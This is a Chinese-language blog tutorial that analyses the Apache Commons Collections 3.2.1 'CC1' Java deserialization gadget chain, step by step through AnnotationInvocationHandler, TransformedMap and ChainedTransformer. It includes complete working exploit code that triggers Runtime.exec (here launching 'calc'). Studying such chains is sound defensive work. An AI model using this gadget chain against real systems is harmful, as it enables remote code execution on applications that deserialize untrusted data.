在Java的集合中,主要有两种类型的容器,一种是集合Collection,用来存储单个元素,一种是图Map,用来存储键值对。
像常用的ArrayList就是Collection接口的实现,而Collection接口下面提供了很多方法,用来对集合数据进行相关操作,如下示例。
public static void main(String[] args) {
// Collection之所以可以接收ArrayList,是因为ArrayList实现了Collection接口
Collection<String> coll = new ArrayList<>();
// 调用Collection的add方法来添加数据
coll.add("a");
// 调用Collection的iterator方法来创建一个遍历器
Iterator<String> iterator = coll.iterator();
// 通过遍历器遍历相关内容
while(iterator.hasNext()){
System.out.print(iterator.next());
}
}
这里主要需要理解的就是Collection之所以可以接收ArrayList,是因为ArrayList实现了Collection接口,类图关系如下。
因为Java本身的集合框架提供的相关操作方法不是很全面,于是Apache在原有的基础上进行了扩展,也就是CommonsCollections包。
CommonsCollections
CommonsCollections基于原有的Collection进行了扩展,分类更加全面,使得处理集合更加方便容易:
上面是collections包结构,其中每个文件夹都包含了相关接口的实现类,例如第一个bag包,也是一个集合,可以返回集合中某个元素出现的次数,也可以进行元素去重,如下示例:
public static void main(String[] args) {
// bag也是一个集合
Bag bag = new HashBag();
// 像集合中添加元素,第二个参数存在的话,说明添加几个,下面是分别添加两个a
bag.add("a", 2);
// 没有第二个参数,只添加一个b
bag.add("b");
// getCount获取元素在集合中有几个,这里输出是2
System.out.println(bag.getCount("a"));
// uniqueSet将元素去重输出,这里是a,b
System.out.println(bag.uniqueSet());
ArrayList
}
查看Bad接口发现其继承了Java的Collection接口,所以CommonsCollections是Collection的扩展。
关于其它接口的使用可参考:
https://iowiki.com/commons_collections/commons_collections_index.html
环境准备
其实上面演示了Java本身自己的集合接口以及Apache扩展的集合接口,主要就是说明CC是Collection本身的扩展。
对于CC应用也很广泛,像Weblogic、JBoss、WebSphere、Jenkins都有使用,而CC本身是存在一些反序列化问题,本篇主要记录分析其中的一种,最早时候首次爆出的反序列化,所以也称为CC1,CC1需要有特定的版本环境,所以需要提前准备一下。
环境准备大概分为几块:1.8.0_65JDK,Idea设置,JDK源码设置,添加cc库。
先看第一个65JDK下载,下载地址如下:
https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html
下载后进行安装,有了JDK后,再来设置Idea,我们需要创建一个Maven项目,创建时JDK选择刚才的65版本:
下载后在项目的ProjectStructure中,把Modules下的Language level改为8,这里是语言等级的意思,其实就是指定JDK环境版本,需要和项目JDK一致,我们上面是1.8.0_65,这里就选择8这个大版本。(这里设置的是工程的JDK版本)
还是ProjectStructure,到Project下,确保SDK是65版本,Language level是8.(这里是设置的项目的JDK版本)
最后再到设置下的java编辑器处,确定下编译器的版本也是8,位置如下图。(这里设置的是编译器的版本)
确定了工程、项目、编译器它们的JDK版本一致,后续项目运行才不会报错,如果报编译失败,可以对照上面三处确定是否同步。
Idea设置后,再来设置下JDK源码,JDK本身带有源码,在安装目录下有个src.zip文件,这就是源码,解压即可。
但是我们回到项目,查看rt.jar包下的文件,都是java文件,但唯独sun包下是class文件,是编译的文件,并不是java源码,可以看到代码中都是一些var1,var2的变量,如果不是java文件的话,是不方便调试的。
而之所以sun包不是java文件是因为JDK 安装目录中的 src.zip 仅仅是 Java 类库的源代码,其中没有包括 JDK 的源代码、Java 底层类库源代码、JVM 源代码,以及本地方法的源代码。需要这些源代码的话,要到 OpenJDK 上去下载 。
那么我们来看下JDK源代码怎么下载,首先下载地址是:https://hg.openjdk.java.net/
打开后找到自己要下载的版本,我们是8下的65次更新,所以这里是jdk8u。
然后找到jdk8u下面的jdk连接,如下图:
进入后会有很多的更新记录,我们要知道我们调试的那个漏洞修复时jdk进行了哪些改动,而我们cc1链利用修复时,JDK修改了annotationinvocationhandler这个文件,在右上角的搜索处搜索,得到相关分支:
点进去看一下,发现第一条就是,修改了AnnotationInvocationHandler文件,去掉了默认的ReadObject,如下图。而这个显示修改的版本就是修复了的版本,我们要存在漏洞的,也就是上一版,所以是parents父版也就是上一版,点击parents进入父分支。
然后点击左侧的压缩格式下载源代码即可。
下载后,将src/share/classes目录下的sun包复制到JDK的src目录下即可。
之后回到Idea,在ProjectStructure下的SDKs中,找到65那个JDK,在Sourcepath下把刚刚的src目录加进来。
此时返回sun包,class就变成java文件了。最后一步,添加maven库,这里cc存在漏洞的是3.2.1版本:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
至此环境就准备好了。
执行类查找
Maven导入cc库后,就可以查看其源代码了,按照常规的反序列化漏洞查找思路,我们首先要确定一个执行类,即链条走到最后总要有一个类来执行代码,而cc1的一个执行类在Transformer中。
我们这里就直接定位到该接口,查看Transformer接口如下:
查看该接口的实现类,快捷键是Ctrl+Alt+B,按键在Navigate-Implementation(s),如下:
而执行类所在的实现类是InvokerTransformer,进入该类,查看其相关方法,有一个transform方法,该方法接收一个对象,并通过反射去调用该对象指定的方法,是一个典型的执行类。
这里可以先测试下该类,新建InvokerTransformer类,调用其transform方法,把Runtime传进去,去调用计算器,如下示例。
public class Test {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
}
}
链条查找
有了执行类,我们就根据此类像前查找,去查找调用该类的地方,来一步步完善链条。
首先在transform方法上右键选择Find Usages来查找该方法在哪些地方用到过,这里IDEA默认的范围可能只查找项目,不查找引入的包,这时需要点击设置,将Scope范围改为All Places。
有21处调用了transform,其中有一处是map包下的TransformedMap类下的checkSetValue方法。该方法接收一个对象参数,给到transform执行,只不过这个transform是通过valueTransfomer调用的。
那么这个valueTransformer是什么呢,我们向上查找,发现它在构造方法中赋了值,而这个构造方法是protected属性,也就意味着用来本类调用。
那我们还在当前类查找,找到了decorate方法,该方法调用了有参构造。
至此我们来看下到目前为止的流程,按上面的追溯过程,我们当前只要调用TransformeMap的decorate方法即可,该方法会调用有参构造实例化TransformeMap,然后调用其checkSetValue就能触发transformer来执行命令。
写个测试类如下:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
// 调用decorate,传入map,key和value,map这里建一个hashmap即可,key用不到传个null就行,value我们还是传入InvokerTransformer对象
TransformedMap.decorate(map, null, invokerTransformer);
现在有个问题就是我们调用了decorate,也传入了InvokerTransformer对象,此时valueTransformer也有值了,可以通过checkSetValue来触发了,那么怎么去调用checkSetValue这个方法呢。
右键查看checkSetValue在哪里被使用,只有一处,就是setValue方法:
这里的setValue是重写的父类的,也就是Map中的setValue,只不过重写后加上了checkSetValue的处理,它是在MapEntry静态类中,而这个类继承了AbstractMapEntryDecorator,我们跟进它可以发现它实现了Map.Entry。
这个Map.Entry是一个Map下的接口类型,可以用来进行遍历,也是Map的一种遍历方式,我们通过entrySet方法可以把Map设置为entry形式,然后通过Map.Entry来遍历,使用方法的话,参考下面这个例子:
我们现在回到最初的目的,我们最初是要找到可以触发checkSetValue的地方,然后发现了setValue方法,该方法继承于Map.Entry,是一个重写的方法,那么也就意味着我只要通过Map.Entry去遍历InvokerTransformer这个Map,然后调用setValue就可以。
那现在我们改下测试类,主要就是在前面的测试类上加了一个for循环:
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa", "bbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()){
entry.setValue(r);
}
}
运行上面代码可以成功执行,上面流程如下图:
流程走通了,但循环那里便于大家理解,这里再多说一点,就是transformedMap下并没有entrySet方法,那么它是怎么走到我们示例中的那个重写的setValue中的呢。
因为重写的setValue是在AbstractInputCheckedMapDecorator类下的,而我们的transformedMap是继承于该类的,所以实际上调用的是父类中重写的setValue。
而重写的那个setValue是在静态类MapEntry中的,这个静态类是在什么时候触发的呢,是在调用entrySet方法时,这里就不追了,流程大概就是entrySet-EntrySet-iterator-EntrySetIterator-next-MapEntry-setValue。循环时会自动调用iterator遍历器以及next循环方法。
至此,我们的链条又完善了一步。
链首查找
上面测试最后是通过setValue去触发的,那么我们需要继续往前查找链条,直到找到链首,所谓链首,即重写了readObject方法,可以接收我们的对象,然后相互调用,最后到执行类。
我们还是查找setValue在哪里用到了,根据查找结果,特别巧,我们发现了一个readObject调用处,是jdk反射包下的AnnotationInvocationHandler文件,如下图。
有了readObject,方法中也调用了setValue,那么可以当作链首,之前也有了链条,执行类也有了,就可以构造出一个反序列化问题,我们先按这个步骤写一些EXP,如下:
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa", "bbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 上面不变,还是之前的测试代码,只不过for循环去掉了,原本由for循环触发setValue,现在换成以下代码
// 思路就是通过构造方法实例化AnnotationInvocationHandler这个类,该类不能直接调用,因为默认作用域只允许该类或该类所在的包调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 这个有参构造第一个参数需要传入一个注解类,这里就直接把常用的重写注解传进去
Object o = constructor.newInstance(Override.class, transformedMap);
// 序列化和反序列方法之前文章写过,都是固定的,这里不贴了,去触发readObject
serialize(o);
unserialize("test.bin");
}
那么上面的代码是否能成功执行呢,答案是执行不了,因为很多条件未满足,经过查看,可以发现,存在几个问题。
第一,我们之前for循环是把Runtime对传给setValue的,而现在的readObject方法中的setValue接收的不是一个对象。
第二,原先的Runtime我们测试时是没有涉及到序列化操作的,因为测试的并非链首而是链条,没有设计到readObject操作,这里链首涉及到了,但Runtime对象我们查看源代码时发现,它并没有实现序列化接口,所以它不能直接进行序列化。
第三,我们查看AnnotationInvocationHandler类的readObject时,发现如果要执行到setValue,需要经过两层if才可以。
链首问题
但这三个问题都可以解决,我们先看Runtime不能序列化问题,我们发现Class类是实现了序列化接口的,那么我们可以把Runtime转换成Runtime.class。
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
}
上面就是通过反射来获取Runtime,但上面代码不能直接放到EXP中,需要以InvokerTransformer的形式来写,毕竟Runtime是要当作参数传入的,其实还是反射,只不过这里不是以原生反射形式写,而是换成transformer那个函数来写,代码如下。
public static void main(String[] args) throws Exception {
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
这里有个优化的写法,就是上面调用了三次transformer方法,而cc提供了一个ChainedTransformer类,该类有个transform方法,如果调用的方法都一样,那就把所有类按顺序传入,完事最后统一调用该方法。
优化后写法如下:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
至此,贴下完整代码先看下:
package com.afa.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa", "bbb");
// 原先这里传入的InvokerTransformer,现在换成chainedTransformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("test.bin");
}
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
此时是运行不了的,问题还没有解决完,这里可以把断点下到setValue外面的if语句上,发现memberType为空,走不到if中。
下面来分析下这个if语句,如下图,主要意思就是通过AnnotationType.getInstance先获取个实例,根据调试信息也可以看出来,这个实例是Override,也就是我们测试用例中传入的注解类,然后通过memberTypes获取其成员变量,完事通过成员变量调用get方法进行获取。
这个get方法需要传入一个name,这个name即memberValue.getKey获取来的,也就是键值对那个值所对应的key,所以这里要走通,我们put那里的键需要和注解类的成员变量名一致才行。
而memberTypes跟进该方法查看,根据注释可以看到该方法主要用户获取成员变量。
那么Override这个注解类为什么成员变量是空呢,跟进查看,可以看到并没有成员变量。
那我们换一个试试,Override注解本身使用了Target和Retention注解,这两个注解都有成员变量,所以用那个都行,比如Retention,有一个value变量.
那我们把测试用例中的代码换成Retention,put那的键名换成value再试。
再调试,可以看到已经有值了。
走到了第二个if,主要是isInstance,这个方法简单理解就是是否是指定类的实例,例如a.isInstance(b)就是判断b是否是a的实例。这里value是bbb,肯定不是,所以是false,false加false所以可以进入if,走到setValue中。
现在就剩最后一个问题,即setValue中新建的那个一长串的对象是否可控,如果可控,那么就形成了反序列化问题。
很幸运,它是可控的,我们需要借助一个叫做ConstantTransformer的类来改变我们的传参。
查看该类,它有一个transform方法,它是这么写的:
根据介绍,该方法可以传入一个没用的对象,完事给你返回一个常量,这个iConstant常量定义如下:
那这个常量是什么呢,它在构造方法中有定义,即传入一个对象,赋值给常量。
通过上面的分析,我们可以做什么呢,我们可以实例化ConstantTransformer,然后传入一个对象进去,比如Runtime,然后调用它的transform方法,调用时传入什么都可以,最后返回的是Runtime。
此时整个链条就完善了,我们setValue虽然传入的是那一长串,看似不可控,但是在执行transform链条时,我们可以把ConstantTransformer加进去,这时不管你传什么,我都返回Runtime,最后导致命令执行。
在原有的EXP上添加如下代码:
Transformer[] transformers = new Transformer[]{
// 新加此行,setValue执行,链条走到transform时,无论传入的是什么,都返回Runtime
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
至此就全部都完成了,链条如下:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.decorate()
TransformedMap.entrySet()
AbstractInputCheckedMapDecorator.entrySet()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
我们发现和ysoserial中的稍微有点区别,中间路径是不一样的,这里就不再看了,感兴趣可以去看下它的写法。
最后总结流程图如下:
总结
感谢阅读,祝愿大家每天健康、开心。
原文始发于微信公众号(aFa攻防实验室):CommonsCollections-CC1链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论